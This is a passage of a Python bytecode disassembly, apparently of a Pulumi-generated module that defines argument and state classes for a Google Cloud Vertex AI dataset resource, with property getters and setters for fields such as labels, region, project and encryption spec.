'AiDatasetArgs.display_name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME display_name LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'metadataSchemaUri' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object metadata_schema_uri at 0x7faa761ee6f0, file "f.py", line 65> LOAD_CONST 'AiDatasetArgs.metadata_schema_uri' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME metadata_schema_uri LOAD_NAME metadata_schema_uri LOAD_ATTR setter LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object metadata_schema_uri at 0x7faa761ee1e0, file "f.py", line 76> LOAD_CONST 'AiDatasetArgs.metadata_schema_uri' MAKE_FUNCTION CALL_FUNCTION STORE_NAME metadata_schema_uri LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'encryptionSpec' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'AiDatasetEncryptionSpecArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object encryption_spec at 0x7faa761ee150, file "f.py", line 80> LOAD_CONST 'AiDatasetArgs.encryption_spec' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME encryption_spec LOAD_NAME encryption_spec LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'AiDatasetEncryptionSpecArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object encryption_spec at 0x7faa761eed20, file "f.py", line 89> LOAD_CONST 'AiDatasetArgs.encryption_spec' MAKE_FUNCTION CALL_FUNCTION STORE_NAME encryption_spec LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object labels at 0x7faa761eeed0, file "f.py", line 95> LOAD_CONST 'AiDatasetArgs.labels' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME labels LOAD_NAME labels LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object labels at 0x7faa761ee300, file "f.py", line 106> LOAD_CONST 'AiDatasetArgs.labels' MAKE_FUNCTION CALL_FUNCTION STORE_NAME labels LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object project at 0x7faa761ee390, file "f.py", line 110> LOAD_CONST 'AiDatasetArgs.project' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME project LOAD_NAME project LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object project at 0x7faa761ee660, file "f.py", line 119> LOAD_CONST 'AiDatasetArgs.project' MAKE_FUNCTION CALL_FUNCTION STORE_NAME project LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object region at 0x7fab42adb150, file "f.py", line 123> LOAD_CONST 'AiDatasetArgs.region' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME region LOAD_NAME region LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object region at 0x7fab411b9c90, file "f.py", line 131> LOAD_CONST 'AiDatasetArgs.region' MAKE_FUNCTION CALL_FUNCTION STORE_NAME region LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'display_name' LOAD_FAST display_name CALL_METHOD POP_TOP LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'metadata_schema_uri' LOAD_FAST metadata_schema_uri CALL_METHOD POP_TOP LOAD_FAST encryption_spec LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'encryption_spec' LOAD_FAST encryption_spec CALL_METHOD POP_TOP LOAD_FAST labels LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'labels' LOAD_FAST labels CALL_METHOD POP_TOP LOAD_FAST project LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'project' LOAD_FAST project CALL_METHOD POP_TOP LOAD_FAST region LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'region' LOAD_FAST region CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'display_name' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'display_name' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'metadata_schema_uri' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'metadata_schema_uri' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'encryption_spec' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'encryption_spec' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'labels' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'labels' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'project' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'project' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'region' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'region' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST '_AiDatasetState' STORE_NAME __qualname__ LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST ('create_time', 'display_name', 'effective_labels', 'encryption_spec', 'labels', 'metadata_schema_uri', 'name', 'project', 'pulumi_labels', 'region', 'update_time') BUILD_CONST_KEY_MAP LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'AiDatasetEncryptionSpecArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('create_time', 'display_name', 'effective_labels', 'encryption_spec', 'labels', 'metadata_schema_uri', 'name', 'project', 'pulumi_labels', 'region', 'update_time') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fab411b9b70, file "f.py", line 138> LOAD_CONST '_AiDatasetState.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'createTime' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object create_time at 0x7fab411b94b0, file "f.py", line 201> LOAD_CONST '_AiDatasetState.create_time' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME create_time LOAD_NAME create_time LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object create_time at 0x7fab801d94b0, file "f.py", line 209> LOAD_CONST '_AiDatasetState.create_time' MAKE_FUNCTION CALL_FUNCTION STORE_NAME create_time LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'displayName' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object display_name at 0x7fab801d9540, file "f.py", line 213> LOAD_CONST '_AiDatasetState.display_name' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME display_name LOAD_NAME display_name LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object display_name at 0x7fab801d9e40, file "f.py", line 221> LOAD_CONST '_AiDatasetState.display_name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME display_name LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'effectiveLabels' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object effective_labels at 0x7fab801d98a0, file "f.py", line 225> LOAD_CONST '_AiDatasetState.effective_labels' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME effective_labels LOAD_NAME effective_labels LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object effective_labels at 0x7fab801d96f0, file "f.py", line 235> LOAD_CONST '_AiDatasetState.effective_labels' MAKE_FUNCTION CALL_FUNCTION STORE_NAME effective_labels LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'encryptionSpec' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'AiDatasetEncryptionSpecArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object encryption_spec at 0x7fab801d9a50, file "f.py", line 241> LOAD_CONST '_AiDatasetState.encryption_spec' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME encryption_spec LOAD_NAME encryption_spec LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'AiDatasetEncryptionSpecArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object encryption_spec at 0x7fab801d90c0, file "f.py", line 250> LOAD_CONST '_AiDatasetState.encryption_spec' MAKE_FUNCTION CALL_FUNCTION STORE_NAME encryption_spec LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object labels at 0x7fab801d9780, file "f.py", line 256> LOAD_CONST '_AiDatasetState.labels' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME labels LOAD_NAME labels LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object labels at 0x7fab421318a0, file "f.py", line 267> LOAD_CONST '_AiDatasetState.labels' MAKE_FUNCTION CALL_FUNCTION STORE_NAME labels LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'metadataSchemaUri' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object metadata_schema_uri at 0x7fab42131660, file "f.py", line 271> LOAD_CONST '_AiDatasetState.metadata_schema_uri' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME metadata_schema_uri LOAD_NAME metadata_schema_uri LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object metadata_schema_uri at 0x7fab427a15d0, file "f.py", line 282> LOAD_CONST '_AiDatasetState.metadata_schema_uri' MAKE_FUNCTION CALL_FUNCTION STORE_NAME metadata_schema_uri LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object name at 0x7fab40f495d0, file "f.py", line 286> LOAD_CONST '_AiDatasetState.name' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME name LOAD_NAME name LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object name at 0x7fab40f491e0, file "f.py", line 294> LOAD_CONST '_AiDatasetState.name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME name LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object project at 0x7fab40f494b0, file "f.py", line 298> LOAD_CONST '_AiDatasetState.project' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME project LOAD_NAME project LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object project at 0x7fab40f49930, file "f.py", line 307> LOAD_CONST '_AiDatasetState.project' MAKE_FUNCTION CALL_FUNCTION STORE_NAME project LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'pulumiLabels' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object pulumi_labels at 0x7fab0028b390, file "f.py", line 311> LOAD_CONST '_AiDatasetState.pulumi_labels' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME pulumi_labels LOAD_NAME pulumi_labels LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object pulumi_labels at 0x7fab0028be40, file "f.py", line 320> LOAD_CONST '_AiDatasetState.pulumi_labels' MAKE_FUNCTION CALL_FUNCTION STORE_NAME pulumi_labels LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object region at 0x7fab823a3ae0, file "f.py", line 326> LOAD_CONST '_AiDatasetState.region' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME region LOAD_NAME region LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object region at 0x7fab823a3810, file "f.py", line 334> LOAD_CONST '_AiDatasetState.region' MAKE_FUNCTION CALL_FUNCTION STORE_NAME region LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'updateTime' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object update_time at 0x7faad43a0390, file "f.py", line 338> LOAD_CONST '_AiDatasetState.update_time' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME update_time LOAD_NAME update_time LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object update_time at 0x7faad43a0f60, file "f.py", line 346> LOAD_CONST '_AiDatasetState.update_time' MAKE_FUNCTION CALL_FUNCTION STORE_NAME update_time LOAD_CONST None RETURN_VALUE LOAD_FAST create_time LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'create_time' LOAD_FAST create_time CALL_METHOD POP_TOP LOAD_FAST display_name LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'display_name' LOAD_FAST display_name CALL_METHOD POP_TOP LOAD_FAST effective_labels LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'effective_labels' LOAD_FAST effective_labels CALL_METHOD POP_TOP LOAD_FAST encryption_spec LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'encryption_spec' LOAD_FAST encryption_spec CALL_METHOD POP_TOP LOAD_FAST labels LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'labels' LOAD_FAST labels CALL_METHOD POP_TOP LOAD_FAST metadata_schema_uri LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'metadata_schema_uri' LOAD_FAST metadata_schema_uri CALL_METHOD POP_TOP LOAD_FAST name LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'name' LOAD_FAST name CALL_METHOD POP_TOP LOAD_FAST project LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'project' LOAD_FAST project CALL_METHOD POP_TOP LOAD_FAST pulumi_labels LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'pulumi_labels' LOAD_FAST pulumi_labels CALL_METHOD POP_TOP LOAD_FAST region LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'region' LOAD_FAST region CALL_METHOD POP_TOP LOAD_FAST update_time LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'update_time' LOAD_FAST update_time CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'create_time' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'create_time' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'display_name' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'display_name' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'effective_labels' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'effective_labels' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'encryption_spec' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'encryption_spec' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'labels' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'labels' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'metadata_schema_uri' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'metadata_schema_uri' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'name' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'name' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'project' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'project' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'pulumi_labels' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'pulumi_labels' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'region' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'region' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'update_time' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'update_time' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'AiDataset' STORE_NAME __qualname__ LOAD_NAME overload LOAD_CONST (None, None, None, None, None, None, None, None) LOAD_NAME str LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR ResourceOptions BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME pulumi LOAD_ATTR InputType LOAD_CONST 'AiDatasetEncryptionSpecArgs' BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('resource_name', 'opts', 'display_name', 'encryption_spec', 'labels', 'metadata_schema_uri', 'project', 'region') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7faad43a0420, file "f.py", line 352> LOAD_CONST 'AiDataset.__init__' MAKE_FUNCTION CALL_FUNCTION STORE_NAME __init__ LOAD_NAME overload 